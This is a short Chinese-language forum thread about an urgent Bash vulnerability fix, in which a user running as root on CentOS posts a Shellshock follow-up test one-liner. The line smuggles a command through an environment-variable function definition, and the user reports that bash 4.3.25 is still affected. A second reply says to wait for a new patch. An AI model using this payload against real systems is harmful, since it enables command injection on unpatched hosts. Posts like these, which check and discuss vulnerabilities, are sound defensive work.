ReLinuxBash严重漏洞修复紧急通知
这个方法没用,我都升级到bash 4.3了,也可以获取用户ID.
[root@centos home]# bash -version
GNU bash, version
4.3.25(1)-release (x86_64-unknown-linux-gnu)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[root@centos home]#
env lol='() {(nothing)=>\' bash -c "echo id";cat echo
bash: lol: line 1: syntax error near unexpected token `='
bash: lol: line 1: `'
bash: error importing function definition for `lol'
uid=0(root) gid=0(root) groups=0(root)
-------------------------
回19楼淘名片的帖子
是的,等新补丁吧。